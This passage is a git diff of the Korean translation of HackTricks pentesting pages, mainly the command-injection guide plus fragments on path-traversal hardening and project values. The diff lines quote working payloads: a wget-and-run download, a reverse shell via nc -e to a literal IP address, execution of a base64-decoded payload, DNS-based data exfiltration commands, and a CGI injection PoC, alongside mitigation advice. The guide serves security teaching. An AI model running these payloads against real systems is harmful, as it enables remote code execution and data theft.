ํŒจํ„ด(../)์„ ์ฐพ์•„๋ผ -ํ•˜๋“œ๋‹ -- Allowlisted ํ…œํ”Œ๋ฆฟ์„ ๊ฐ•์ œํ•จ; realpath()๋กœ ํ•ด์„ํ•˜๊ณ  require str_starts_with(realpath(file), realpath(allowed_base)) -- ์ž…๋ ฅ์„ ์ •๊ทœํ™”ํ•จ; traversal ์‹œํ€€์Šค์™€ ์ ˆ๋Œ€ ๊ฒฝ๋กœ๋ฅผ ๊ฑฐ๋ถ€ํ•จ; sanitize_file_name()์€ ํŒŒ์ผ๋ช…(์ „์ฒด ๊ฒฝ๋กœ๊ฐ€ ์•„๋‹˜)์—๋งŒ ์‚ฌ์šฉ +๋ณด์•ˆ ๊ฐ•ํ™” +- ํ—ˆ์šฉ๋œ(allowlisted) templates๋ฅผ ๊ฐ•์ œ ์ ์šฉ; realpath()๋กœ ํ•ด์„ํ•˜๊ณ  require str_starts_with(realpath(file), realpath(allowed_base)) +- ์ž…๋ ฅ์„ ์ •๊ทœํ™”(normalize)ํ•˜๊ณ  traversal ์‹œํ€€์Šค ๋ฐ ์ ˆ๋Œ€ ๊ฒฝ๋กœ๋ฅผ ์ฐจ๋‹จ(reject); sanitize_file_name()์€ ํŒŒ์ผ๋ช…์—๋งŒ ์‚ฌ์šฉ(์ „์ฒด ๊ฒฝ๋กœ์—๋Š” ์‚ฌ์šฉ ๊ธˆ์ง€) ## References diff --git a/src/pentesting-web/command-injection.md b/src/pentesting-web/command-injection.md index 0ca624db3..fb125f840 100644 --- a/src/pentesting-web/command-injection.md +++ b/src/pentesting-web/command-injection.md @@ -2,13 +2,13 @@ {{#include ../banners/hacktricks-training.md}} -## Command Injection์ด๋ž€ ๋ฌด์—‡์ธ๊ฐ€? +## command Injection์ด๋ž€ ๋ฌด์—‡์ธ๊ฐ€? -**command injection**์€ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ํ˜ธ์ŠคํŒ…ํ•˜๋Š” ์„œ๋ฒ„์—์„œ ๊ณต๊ฒฉ์ž๊ฐ€ ์ž„์˜์˜ ์šด์˜์ฒด์ œ ๋ช…๋ น์„ ์‹คํ–‰ํ•˜๋„๋ก ํ—ˆ์šฉํ•œ๋‹ค. ๊ทธ ๊ฒฐ๊ณผ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜๊ณผ ๋ชจ๋“  ๋ฐ์ดํ„ฐ๊ฐ€ ์™„์ „ํžˆ ์†์ƒ๋  ์ˆ˜ ์žˆ๋‹ค. ์ด๋Ÿฌํ•œ ๋ช…๋ น์˜ ์‹คํ–‰์€ ์ผ๋ฐ˜์ ์œผ๋กœ ๊ณต๊ฒฉ์ž๊ฐ€ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ํ™˜๊ฒฝ ๋ฐ ํ•˜๋ถ€ ์‹œ์Šคํ…œ์— ๋ฌด๋‹จ์œผ๋กœ ์ ‘๊ทผํ•˜๊ฑฐ๋‚˜ ์ด๋ฅผ ์ œ์–ดํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•œ๋‹ค. +A **command injection**์€ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ํ˜ธ์ŠคํŒ…ํ•˜๋Š” ์„œ๋ฒ„์—์„œ ๊ณต๊ฒฉ์ž๊ฐ€ ์ž„์˜์˜ ์šด์˜ ์ฒด์ œ ๋ช…๋ น์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋„๋ก ํ—ˆ์šฉํ•œ๋‹ค. ๊ทธ ๊ฒฐ๊ณผ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜๊ณผ ๊ทธ ์•ˆ์˜ ๋ชจ๋“  ๋ฐ์ดํ„ฐ๊ฐ€ ์™„์ „ํžˆ ์นจํ•ด๋  ์ˆ˜ ์žˆ๋‹ค. ์ด๋Ÿฌํ•œ ๋ช…๋ น์˜ ์‹คํ–‰์€ ์ผ๋ฐ˜์ ์œผ๋กœ ๊ณต๊ฒฉ์ž๊ฐ€ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ํ™˜๊ฒฝ ๋ฐ ๊ธฐ๋ฐ˜ ์‹œ์Šคํ…œ์— ๋Œ€ํ•œ ๋ฌด๋‹จ ์ ‘๊ทผ ๋˜๋Š” ์ œ์–ด๋ฅผ ํš๋“ํ•˜๊ฒŒ ํ•œ๋‹ค. -### ์ปจํ…์ŠคํŠธ +### ๋ฌธ๋งฅ -์ž…๋ ฅ์ด **์ฃผ์ž…๋˜๋Š” ์œ„์น˜**์— ๋”ฐ๋ผ, ๋ช…๋ น์„ ์‹คํ–‰ํ•˜๊ธฐ ์ „์— **์ธ์šฉ๋œ ์ปจํ…์ŠคํŠธ๋ฅผ ์ข…๋ฃŒ**ํ•ด์•ผ ํ•  ์ˆ˜ ์žˆ๋‹ค(`"` ๋˜๋Š” `'` ์‚ฌ์šฉ). +์ž…๋ ฅ์ด ์‚ฝ์ž…๋˜๋Š” ์œ„์น˜์— ๋”ฐ๋ผ **์ž…๋ ฅ์ด ์‚ฝ์ž…๋˜๋Š” ์œ„์น˜(where your input is being injected)**, ๋ช…๋ น์„ ์‹คํ–‰ํ•˜๊ธฐ ์ „์— **์ธ์šฉ๋œ ๋ฌธ๋งฅ์„ ์ข…๋ฃŒํ•ด์•ผ(terminate the quoted context)** ํ•  ์ˆ˜ ์žˆ๋‹ค(`"` ๋˜๋Š” `'` ์‚ฌ์šฉ). ## Command Injection/Execution ```bash @@ -30,24 +30,24 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful > /var/www/html/out.txt #Try to redirect the output to a file < /etc/passwd #Try to send some input to the command ``` -### **์ œํ•œ** Bypasses +### **Limition** ์šฐํšŒ -๋งŒ์•ฝ **arbitrary commands inside a linux machine**๋ฅผ ์‹คํ–‰ํ•˜๋ ค๊ณ  ํ•œ๋‹ค๋ฉด, ์ด **Bypasses:**๋ฅผ ์ฝ์–ด๋ณด๋ฉด ๊ด€์‹ฌ์ด ์žˆ์„ ๊ฒƒ์ž…๋‹ˆ๋‹ค. +๋งŒ์•ฝ linux ๋จธ์‹  ๋‚ด๋ถ€์—์„œ **์ž„์˜์˜ ๋ช…๋ น์„ ์‹คํ–‰**ํ•˜๋ ค๊ณ  ํ•œ๋‹ค๋ฉด, ์ด **์šฐํšŒ:**์— ๋Œ€ํ•ด ์ฝ์–ด๋ณด๋ฉด ๋„์›€์ด ๋  ๊ฒƒ์ž…๋‹ˆ๋‹ค. {{#ref}} ../linux-hardening/bypass-bash-restrictions/ {{#endref}} -### **์˜ˆ์ œ** +### **์˜ˆ์‹œ** ``` vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80 vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay ``` -### Parameters +### ๋งค๊ฐœ๋ณ€์ˆ˜ -๋‹ค์Œ์€ code injection ๋ฐ ์œ ์‚ฌํ•œ RCE ์ทจ์•ฝ์ ์— ์ทจ์•ฝํ•  ์ˆ˜ ์žˆ๋Š” ์ƒ์œ„ 25๊ฐœ ๋งค๊ฐœ๋ณ€์ˆ˜(์ถœ์ฒ˜ [link](https://twitter.com/trbughunters/status/1283133356922884096)): +๋‹ค์Œ์€ code injection ๋ฐ ์œ ์‚ฌํ•œ RCE ์ทจ์•ฝ์ ์— ์ทจ์•ฝํ•  ์ˆ˜ ์žˆ๋Š” ์ƒ์œ„ 25๊ฐœ ๋งค๊ฐœ๋ณ€์ˆ˜์ž…๋‹ˆ๋‹ค (์ถœ์ฒ˜: [link](https://twitter.com/trbughunters/status/1283133356922884096)): ``` ?cmd={payload} ?exec={payload} @@ -77,7 +77,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod ``` ### Time based data exfiltration -๋ฐ์ดํ„ฐ ์ถ”์ถœ: ๋ฌธ์ž ๋‹จ์œ„๋กœ +๋ฐ์ดํ„ฐ ์ถ”์ถœ: ๋ฌธ์ž ํ•˜๋‚˜์”ฉ ``` swissky@crashlabโ–ธ ~ โ–ธ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi real 0m5.007s @@ -91,7 +91,7 @@ sys 0m0.000s ``` ### DNS ๊ธฐ๋ฐ˜ data exfiltration -๋‹ค์Œ ๋„๊ตฌ๋ฅผ ๊ธฐ๋ฐ˜์œผ๋กœ ํ•จ: `https://github.com/HoLyVieR/dnsbin` (๋˜ํ•œ dnsbin.zhack.ca์— ํ˜ธ์ŠคํŒ…๋˜์–ด ์žˆ์Œ) +๋‹ค์Œ ๋„๊ตฌ๋ฅผ ๊ธฐ๋ฐ˜์œผ๋กœ ํ•จ: `https://github.com/HoLyVieR/dnsbin` ๋˜ํ•œ dnsbin.zhack.ca์— ํ˜ธ์ŠคํŒ…๋จ ``` 1. Go to http://dnsbin.zhack.ca/ 2. Execute a simple 'ls' @@ -101,7 +101,7 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done ``` $(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il) ``` -DNS based data exfiltration์„ ํ™•์ธํ•˜๊ธฐ ์œ„ํ•œ ์˜จ๋ผ์ธ ๋„๊ตฌ: +DNS ๊ธฐ๋ฐ˜ data exfiltration์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋Š” ์˜จ๋ผ์ธ ๋„๊ตฌ: - dnsbin.zhack.ca - pingb.in @@ -120,9 +120,9 @@ powershell C:**2\n??e*d.*? # notepad ../linux-hardening/bypass-bash-restrictions/ {{#endref}} -### Node.js `child_process.exec` ๋Œ€ `execFile` +### Node.js `child_process.exec` vs `execFile` -JavaScript/TypeScript ๋ฐฑ์—”๋“œ๋ฅผ ๊ฐ์‚ฌํ•  ๋•Œ ์ข…์ข… Node.js `child_process` API๋ฅผ ์ ‘ํ•˜๊ฒŒ ๋ฉ๋‹ˆ๋‹ค. +JavaScript/TypeScript ๋ฐฑ์—”๋“œ๋ฅผ ๊ฐ์‚ฌํ•  ๋•Œ Node.js `child_process` API๋ฅผ ์ž์ฃผ ๋งˆ์ฃผ์นฉ๋‹ˆ๋‹ค. ```javascript // Vulnerable: user-controlled variables interpolated inside a template string const { exec } = require('child_process'); @@ -130,9 +130,9 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay /* โ€ฆ */ }); ``` -`exec()`๋Š” **shell** (`/bin/sh -c`)์„ ์‹คํ–‰ํ•˜๋ฏ€๋กœ, shell์— ํŠน๋ณ„ํ•œ ์˜๋ฏธ๋ฅผ ๊ฐ€์ง€๋Š” ๋ชจ๋“  ๋ฌธ์ž(back-ticks, `;`, `&&`, `|`, `$()`, โ€ฆ)๊ฐ€ ์‚ฌ์šฉ์ž ์ž…๋ ฅ์ด ๋ฌธ์ž์—ด๋กœ ์—ฐ๊ฒฐ๋  ๋•Œ **command injection**์„ ์œ ๋ฐœํ•ฉ๋‹ˆ๋‹ค. +`exec()`๋Š” **shell** (`/bin/sh -c`)์„ ์‹คํ–‰ํ•˜๋ฏ€๋กœ, shell์— ํŠน๋ณ„ํ•œ ์˜๋ฏธ๋ฅผ ๊ฐ–๋Š” ๋ชจ๋“  ๋ฌธ์ž(back-ticks, `;`, `&&`, `|`, `$()`, โ€ฆ)๋Š” ์‚ฌ์šฉ์ž ์ž…๋ ฅ์ด ๋ฌธ์ž์—ด์— ์—ฐ๊ฒฐ๋  ๋•Œ **command injection**์„ ๋ฐœ์ƒ์‹œํ‚ต๋‹ˆ๋‹ค. -**์™„ํ™”:** `execFile()`๋ฅผ ์‚ฌ์šฉํ•˜๊ฑฐ๋‚˜ (`shell` ์˜ต์…˜ ์—†์ด `spawn()`์„ ์‚ฌ์šฉ) ๊ฐ ์ธ์ˆ˜๋ฅผ **๋ณ„๋„์˜ ๋ฐฐ์—ด ์š”์†Œ๋กœ ์ œ๊ณต**ํ•˜์—ฌ shell์ด ๊ฐœ์ž…ํ•˜์ง€ ์•Š๋„๋ก ํ•˜์„ธ์š”: +**์™„ํ™”:** `execFile()`๋ฅผ ์‚ฌ์šฉํ•˜๊ฑฐ๋‚˜ (`shell` ์˜ต์…˜ ์—†์ด `spawn()`์„ ์‚ฌ์šฉ) ๊ฐ ์ธ์ˆ˜๋ฅผ ๋ณ„๋„์˜ ๋ฐฐ์—ด ์š”์†Œ๋กœ ์ œ๊ณตํ•˜์—ฌ shell์ด ๊ฐœ์ž…ํ•˜์ง€ ์•Š๋„๋ก ํ•˜์„ธ์š”: ```javascript const { execFile } = require('child_process'); execFile('/usr/bin/do-something', [ @@ -140,27 +140,27 @@ execFile('/usr/bin/do-something', [ '--payload', JSON.stringify(payload) ]); ``` -Real-world case: *Synology Photos* โ‰ค 1.7.0-0794 was exploitable through an unauthenticated WebSocket event that placed attacker controlled data into `id_user` which was later embedded in an `exec()` call, achieving RCE (Pwn2Own Ireland 2024). +์‹ค์ œ ์‚ฌ๋ก€: *Synology Photos* โ‰ค 1.7.0-0794๋Š” ์ธ์ฆ๋˜์ง€ ์•Š์€ WebSocket ์ด๋ฒคํŠธ๋ฅผ ํ†ตํ•ด ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” ๋ฐ์ดํ„ฐ๋ฅผ `id_user`์— ์‚ฝ์ž…ํ•  ์ˆ˜ ์žˆ์—ˆ๊ณ , ์ด ๊ฐ’์ด ์ดํ›„ `exec()` ํ˜ธ์ถœ์— ์ž„๋ฒ ๋“œ๋˜์–ด RCE๋ฅผ ๋‹ฌ์„ฑํ•  ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค (Pwn2Own Ireland 2024). -### Argument/Option injection: ์„ ํ–‰ ํ•˜์ดํ”ˆ์„ ํ†ตํ•œ (argv, no shell metacharacters) +### Argument/Option injection via leading hyphen (argv, no shell metacharacters) -๋ชจ๋“  injections๊ฐ€ shell ๋ฉ”ํƒ€๋ฌธ์ž๋ฅผ ํ•„์š”๋กœ ํ•˜๋Š” ๊ฒƒ์€ ์•„๋‹™๋‹ˆ๋‹ค. ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ์‹ ๋ขฐํ•  ์ˆ˜ ์—†๋Š” ๋ฌธ์ž์—ด์„ ์‹œ์Šคํ…œ ์œ ํ‹ธ๋ฆฌํ‹ฐ์˜ ์ธ์ˆ˜๋กœ ์ „๋‹ฌํ•˜๋Š” ๊ฒฝ์šฐ(`execve`/`execFile`์„ ์‚ฌ์šฉํ•˜๊ณ  shell์ด ์—†๋Š” ์ƒํ™ฉ์—์„œ๋„), ๋งŽ์€ ํ”„๋กœ๊ทธ๋žจ์€ ์—ฌ์ „ํžˆ `-` ๋˜๋Š” `--`๋กœ ์‹œ์ž‘ํ•˜๋Š” ์ธ์ˆ˜๋ฅผ ์˜ต์…˜์œผ๋กœ ํ•ด์„ํ•ฉ๋‹ˆ๋‹ค. ์ด๋ฅผ ํ†ตํ•ด ๊ณต๊ฒฉ์ž๋Š” shell์— ์ง„์ž…ํ•˜์ง€ ์•Š๊ณ ๋„ ๋™์ž‘ ๋ชจ๋“œ๋ฅผ ์ „ํ™˜ํ•˜๊ฑฐ๋‚˜ ์ถœ๋ ฅ ๊ฒฝ๋กœ๋ฅผ ๋ณ€๊ฒฝํ•˜๊ฑฐ๋‚˜ ์œ„ํ—˜ํ•œ ๋™์ž‘์„ ์œ ๋ฐœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +๋ชจ๋“  ์ฃผ์ž…์ด ์‰˜ ๋ฉ”ํƒ€๋ฌธ์ž๋ฅผ ํ•„์š”๋กœ ํ•˜๋Š” ๊ฒƒ์€ ์•„๋‹™๋‹ˆ๋‹ค. ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ์‹ ๋ขฐํ•  ์ˆ˜ ์—†๋Š” ๋ฌธ์ž์—ด์„ ์‹œ์Šคํ…œ ์œ ํ‹ธ๋ฆฌํ‹ฐ์˜ ์ธ์ˆ˜๋กœ ์ „๋‹ฌํ•  ๋•Œ(์‹ฌ์ง€์–ด `execve`/`execFile`๋กœ ์‰˜์„ ๊ฑฐ์น˜์ง€ ์•Š๋”๋ผ๋„) ๋งŽ์€ ํ”„๋กœ๊ทธ๋žจ์ด `-` ๋˜๋Š” `--`๋กœ ์‹œ์ž‘ํ•˜๋Š” ์ธ์ˆ˜๋ฅผ ์˜ต์…˜์œผ๋กœ ํŒŒ์‹ฑํ•ฉ๋‹ˆ๋‹ค. ์ด๋ฅผ ํ†ตํ•ด ๊ณต๊ฒฉ์ž๋Š” ์‰˜์„ ๊นจ๋œจ๋ฆฌ์ง€ ์•Š๊ณ ๋„ ๋ชจ๋“œ๋ฅผ ์ „ํ™˜ํ•˜๊ฑฐ๋‚˜ ์ถœ๋ ฅ ๊ฒฝ๋กœ๋ฅผ ๋ณ€๊ฒฝํ•˜๊ฑฐ๋‚˜ ์œ„ํ—˜ํ•œ ๋™์ž‘์„ ์œ ๋ฐœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -์ผ๋ฐ˜์ ์œผ๋กœ ๋‚˜ํƒ€๋‚˜๋Š” ์œ„์น˜: +์ผ๋ฐ˜์ ์œผ๋กœ ์ด๋Ÿฌํ•œ ๋ฌธ์ œ๊ฐ€ ๋‚˜ํƒ€๋‚˜๋Š” ๊ณณ: -- Embedded web UIs/CGI handlers๊ฐ€ `ping `, `tcpdump -i -w `, `curl ` ๊ฐ™์€ ๋ช…๋ น์„ ๊ตฌ์„ฑํ•  ๋•Œ. -- Centralized CGI routers (์˜ˆ: `/cgi-bin/.cgi`์™€ ๊ฐ™์ด `topicurl=` ๊ฐ™์€ selector ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ฒฝ์šฐ)์—์„œ ์—ฌ๋Ÿฌ ํ•ธ๋“ค๋Ÿฌ๊ฐ€ ๋™์ผํ•œ ์•ฝํ•œ ๋ฐธ๋ฆฌ๋ฐ์ดํ„ฐ๋ฅผ ์žฌ์‚ฌ์šฉํ•  ๋•Œ. +- ์ž„๋ฒ ๋””๋“œ ์›น UI/CGI ํ•ธ๋“ค๋Ÿฌ๊ฐ€ `ping `, `tcpdump -i -w `, `curl ` ๋“ฑ๊ณผ ๊ฐ™์€ ๋ช…๋ น์„ ๊ตฌ์„ฑํ•˜๋Š” ๊ฒฝ์šฐ +- ์ค‘์•™ํ™”๋œ CGI ๋ผ์šฐํ„ฐ(์˜ˆ: selector ํŒŒ๋ผ๋ฏธํ„ฐ๋กœ `topicurl=`๋ฅผ ์‚ฌ์šฉํ•˜๋Š” `/cgi-bin/.cgi`)์—์„œ ์—ฌ๋Ÿฌ ํ•ธ๋“ค๋Ÿฌ๊ฐ€ ๋™์ผํ•œ ์ทจ์•ฝํ•œ ์œ ํšจ์„ฑ ๊ฒ€์‚ฌ๊ธฐ๋ฅผ ์žฌ์‚ฌ์šฉํ•˜๋Š” ๊ฒฝ์šฐ ์‹œ๋„ํ•ด๋ณผ ๊ฒƒ: -- ํ•˜์œ„ ๋„๊ตฌ๊ฐ€ ํ”Œ๋ž˜๊ทธ๋กœ ์†Œ๋น„ํ•˜๋„๋ก `-`/`--`๋กœ ์‹œ์ž‘ํ•˜๋Š” ๊ฐ’์„ ์ œ๊ณตํ•˜์„ธ์š”. +- ํ•˜์œ„ ๋„๊ตฌ๊ฐ€ ํ”Œ๋ž˜๊ทธ๋กœ ํ•ด์„ํ•˜๋„๋ก `-`/`--`๋กœ ์‹œ์ž‘ํ•˜๋Š” ๊ฐ’์„ ์ œ๊ณตํ•ด๋ณด์„ธ์š”. - ๋™์ž‘์„ ๋ณ€๊ฒฝํ•˜๊ฑฐ๋‚˜ ํŒŒ์ผ์„ ์“ฐ๋Š” ํ”Œ๋ž˜๊ทธ๋ฅผ ์•…์šฉํ•ด๋ณด์„ธ์š”. ์˜ˆ: - - `ping`: `-f`/`-c 100000`์œผ๋กœ ์žฅ๋น„๋ฅผ ๊ณผ๋ถ€ํ•˜์‹œ์ผœ DoS ์œ ๋ฐœ - - `curl`: `-o /tmp/x`๋กœ ์ž„์˜ ๊ฒฝ๋กœ์— ์“ฐ๊ธฐ, `-K `๋กœ ๊ณต๊ฒฉ์ž ์ œ์–ด config ๋กœ๋“œ - - `tcpdump`: `-G 1 -W 1 -z /path/script.sh`๋กœ unsafe wrapper์—์„œ rotate ํ›„ ์‹คํ–‰ ๋‹ฌ์„ฑ -- ํ”„๋กœ๊ทธ๋žจ์ด `--` end-of-options๋ฅผ ์ง€์›ํ•œ๋‹ค๋ฉด, ์ž˜๋ชป๋œ ์œ„์น˜์— `--`๋ฅผ prependingํ•˜๋Š” ๋‹จ์ˆœํ•œ ์™„ํ™”์ฑ…์„ ์šฐํšŒํ•  ์ˆ˜ ์žˆ๋Š”์ง€ ์‹œ๋„ํ•ด๋ณด์„ธ์š”. + - `ping`: `-f`/`-c 100000` โ€” ์žฅ์น˜์— ๋ถ€ํ•˜๋ฅผ ์ค˜์„œ DoS ์œ ๋ฐœ + - `curl`: `-o /tmp/x` โ€” ์ž„์˜ ๊ฒฝ๋กœ์— ๊ธฐ๋ก, `-K ` โ€” ๊ณต๊ฒฉ์ž ์ œ์–ด config ๋กœ๋“œ + - `tcpdump`: `-G 1 -W 1 -z /path/script.sh` โ€” post-rotate ์‹คํ–‰์„ ํ†ตํ•ด unsafe wrapper์—์„œ ์ฝ”๋“œ ์‹คํ–‰ ๋‹ฌ์„ฑ +- ํ”„๋กœ๊ทธ๋žจ์ด `--` end-of-options๋ฅผ ์ง€์›ํ•œ๋‹ค๋ฉด, ์ž˜๋ชป๋œ ์œ„์น˜์— `--`๋ฅผ ๋ถ™์ด๋Š” ๋‹จ์ˆœํ•œ ์™„ํ™”์ฑ…์„ ์šฐํšŒํ•  ์ˆ˜ ์žˆ๋Š”์ง€ ์‹œ๋„ํ•ด๋ณด์„ธ์š”. -Generic PoC shapes against centralized CGI dispatchers: +์ค‘์•™ํ™”๋œ CGI ๋””์ŠคํŒจ์ฒ˜์— ๋Œ€ํ•œ ์ผ๋ฐ˜์ ์ธ PoC ํ˜•ํƒœ: ``` POST /cgi-bin/cstecgi.cgi HTTP/1.1 Content-Type: application/x-www-form-urlencoded @@ -178,14 +178,14 @@ topicurl=setEasyMeshAgentCfg&agentName=;id; https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt {{#endref}} -## ์ฐธ๊ณ  ์ž๋ฃŒ +## ์ฐธ๊ณ ์ž๋ฃŒ - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection) - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection) - [https://portswigger.net/web-security/os-command-injection](https://portswigger.net/web-security/os-command-injection) -- [Extraction of Synology encrypted archives โ€“ Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html) +- [Synology ์•”ํ˜ธํ™”๋œ ์•„์นด์ด๋ธŒ ์ถ”์ถœ โ€“ Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html) - [PHP proc_open manual](https://www.php.net/manual/en/function.proc-open.php) - [HTB Nocturnal: IDOR โ†’ Command Injection โ†’ Root via ISPConfig (CVEโ€‘2023โ€‘46818)](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html) -- [Unit 42 โ€“ TOTOLINK X6000R: Three New Vulnerabilities Uncovered](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/) +- [Unit 42 โ€“ TOTOLINK X6000R: ์„ธ ๊ฐ€์ง€ ์ƒˆ๋กœ์šด ์ทจ์•ฝ์  ๋ฐœ๊ฒฌ](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/) {{#include ../banners/hacktricks-training.md}} diff --git a/src/welcome/hacktricks-values-and-faq.md b/src/welcome/hacktricks-values-and-faq.md index 347ea20f6..5ce3df4d7 100644 --- a/src/welcome/hacktricks-values-and-faq.md +++ b/src/welcome/hacktricks-values-and-faq.md @@ -2,56 +2,56 @@ {{#include ../banners/hacktricks-training.md}} -## HackTricks ๊ฐ€์น˜ +## HackTricks Values > [!TIP] > ๋‹ค์Œ์€ **HackTricks ํ”„๋กœ์ ํŠธ์˜ ๊ฐ€์น˜**์ž…๋‹ˆ๋‹ค: > -> - ๋ชจ๋“  ์ธํ„ฐ๋„ท ์‚ฌ์šฉ์ž์—๊ฒŒ **๋ฌด๋ฃŒ**๋กœ **๊ต์œก์šฉ hacking** ์ž๋ฃŒ๋ฅผ ์ œ๊ณตํ•œ๋‹ค. -> - Hacking์€ ํ•™์Šต์— ๊ด€ํ•œ ๊ฒƒ์ด๋ฉฐ, ํ•™์Šต์€ ๊ฐ€๋Šฅํ•œ ํ•œ ๋ฌด๋ฃŒ์—ฌ์•ผ ํ•œ๋‹ค. -> - ์ด ์ฑ…์˜ ๋ชฉ์ ์€ ํฌ๊ด„์ ์ธ **๊ต์œก ์ž๋ฃŒ**๋กœ์„œ ๊ธฐ๋Šฅํ•˜๋Š” ๊ฒƒ์ด๋‹ค. -> - ์ปค๋ฎค๋‹ˆํ‹ฐ๊ฐ€ ๊ฒŒ์‹œํ•œ ํ›Œ๋ฅญํ•œ **hacking** ๊ธฐ๋ฒ•์„ ์ €์žฅํ•˜๊ณ  **์›์ €์ž(ORIGINAL AUTHORS)**์—๊ฒŒ ๋ชจ๋“  **ํฌ๋ ˆ๋”ง**์„ ๋Œ๋ฆฐ๋‹ค. -> - **๋‹ค๋ฅธ ์‚ฌ๋žŒ์˜ ํฌ๋ ˆ๋”ง์„ ์›ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค**, ์šฐ๋ฆฌ๋Š” ๋‹จ์ง€ ๋ชจ๋‘๋ฅผ ์œ„ํ•œ ๋ฉ‹์ง„ ํŠธ๋ฆญ์„ ์ €์žฅํ•˜๊ณ  ์‹ถ์Šต๋‹ˆ๋‹ค. -> - ์šฐ๋ฆฌ๋Š” ๋˜ํ•œ HackTricks์— **์ž์ฒด ์—ฐ๊ตฌ**๋ฅผ ์‹ฃ์Šต๋‹ˆ๋‹ค. -> - ์—ฌ๋Ÿฌ ๊ฒฝ์šฐ์— ๊ธฐ์ˆ ์˜ ์ค‘์š”ํ•œ ๋ถ€๋ถ„์„ HackTricks์— **์š”์•ฝ**์œผ๋กœ๋งŒ ์ž‘์„ฑํ•˜๊ณ , ์ž์„ธํ•œ ๋‚ด์šฉ์€ ์›๋ณธ ๊ฒŒ์‹œ๋ฌผ์„ ๋ฐฉ๋ฌธํ•˜๋„๋ก **๋…์ž์—๊ฒŒ ๊ถŒ์žฅ**ํ•ฉ๋‹ˆ๋‹ค. -> - ์ฑ…์— ์žˆ๋Š” ๋ชจ๋“  **hacking** ๊ธฐ๋ฒ•์„ **์ •๋ฆฌ**ํ•˜์—ฌ ๋” **์ ‘๊ทผํ•˜๊ธฐ ์‰ฌ์šด(MORE ACCESSIBLE)** ํ˜•ํƒœ๋กœ ๋งŒ๋“ ๋‹ค. -> - HackTricks ํŒ€์€ ์‚ฌ๋žŒ๋“ค์ด **๋” ๋นจ๋ฆฌ ๋ฐฐ์šธ ์ˆ˜ ์žˆ๋„๋ก** ์ฝ˜ํ…์ธ ๋ฅผ ์ •๋ฆฌํ•˜๋Š” ๋ฐ๋งŒ ์ˆ˜์ฒœ ์‹œ๊ฐ„ ์ด์ƒ์„ ๋ฌด๋ฃŒ๋กœ ํ—Œ์‹ ํ–ˆ์Šต๋‹ˆ๋‹ค. +> - ๋ชจ๋“  ์ธํ„ฐ๋„ท ์‚ฌ์šฉ์ž์—๊ฒŒ **๋ฌด๋ฃŒ**๋กœ **๊ต์œก์šฉ hacking** ์ž์›์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๊ฒŒ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. +> - Hacking์€ ํ•™์Šต์— ๊ด€ํ•œ ๊ฒƒ์ด๋ฉฐ, ํ•™์Šต์€ ๊ฐ€๋Šฅํ•œ ํ•œ ๋ฌด๋ฃŒ์—ฌ์•ผ ํ•ฉ๋‹ˆ๋‹ค. +> - ์ด ์ฑ…์˜ ๋ชฉ์ ์€ ํฌ๊ด„์ ์ธ **๊ต์œก ์ž๋ฃŒ**๋กœ์„œ ๊ธฐ๋Šฅํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. +> - **STORE** ์ปค๋ฎค๋‹ˆํ‹ฐ๊ฐ€ ๋ฐœํ‘œํ•œ ๋ฉ‹์ง„ **hacking** ๊ธฐ์ˆ ๋“ค์„ ์ €์žฅํ•˜๊ณ  **ORIGINAL** **AUTHORS**์—๊ฒŒ ๋ชจ๋“  **credits**๋ฅผ ๋Œ๋ฆฝ๋‹ˆ๋‹ค. +> - **We don't want the credit from other people**, ์šฐ๋ฆฌ๋Š” ๋‹จ์ง€ ๋ชจ๋‘๋ฅผ ์œ„ํ•ด ๋ฉ‹์ง„ ํŠธ๋ฆญ์„ ์ €์žฅํ•ด๋‘๊ณ  ์‹ถ์Šต๋‹ˆ๋‹ค. +> - ๋˜ํ•œ HackTricks์— **์šฐ๋ฆฌ์˜ 